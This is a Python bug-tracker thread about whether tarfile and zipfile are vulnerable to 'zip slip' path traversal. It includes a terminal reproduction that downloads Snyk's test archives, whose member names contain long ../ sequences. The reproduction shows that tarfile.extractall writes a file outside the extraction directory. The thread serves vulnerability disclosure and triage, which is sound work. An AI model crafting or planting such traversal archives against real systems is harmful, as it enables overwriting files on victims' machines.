As has been discovered in 06.2018 the python library is affected by the zip slip vulbnerability (meaning code execution)

The affected section https://github.com/python/cpython/blob/3.7/Lib/tarfile.py has not been patched since then.

Therefore it seems python has not yet fixed this vulnerability.


Source:
https://github.com/snyk/zip-slip-vulnerability

When I had tested it before, It was not worked.
Was it really worked?
Could you show me your PoC Code?

According to https://snyk.io/research/zip-slip-vulnerability (the source of the paper), Python hasn't been vulnerable since 2014.

issue 21109 was mentioned as an example of reported behaviour in https://github.com/snyk/zip-slip-vulnerability/issues/4#issuecomment-395848367

You are both right and wrong. The zipfile module of Python 3.7 is fine, but the tarfile module is still vulnerable.

$ curl -O https://raw.githubusercontent.com/snyk/zip-slip-vulnerability/master/archives/zip-slip.zip
$ curl -O https://raw.githubusercontent.com/snyk/zip-slip-vulnerability/master/archives/zip-slip.tar
$ mkdir /tmp/zipslip
$ cd /tmp/zipslip

Test zipfile:

$ python3
>>> import zipfile
>>> zf = zipfile.ZipFile('zip-slip.zip')
>>> zf.printdir()
File Name                                             Modified             Size
good.txt                                       2018-04-15 22:04:30           19
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt 2018-04-15 22:04:42           20
>>> zf.extractall()
>>> exit()
$ find
.
./tmp
./tmp/evil.txt
./good.txt
./zip-slip.tar
./zip-slip.zip

Test tarfile

$ rm -rf good.txt tmp/
$ python3
>>> import tarfile
>>> import tarfile
>>> tf = tarfile.TarFile('zip-slip.tar')
>>> tf.list()
?rw-r--r-- grander/staff         19 2018-04-15 19:04:29 good.txt 
?rw-r--r-- grander/staff         20 2018-06-03 13:49:05 ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt 
>>> tf.extractall()
# find
.
./zip-slip.tar
./good.txt
./zip-slip.zip
# cat /tmp/evil.txt 
this is an evil one

Thanks for reporting the issue. I'm closing this issue as duplicate of #21109. Let's keep all discussion on one issue.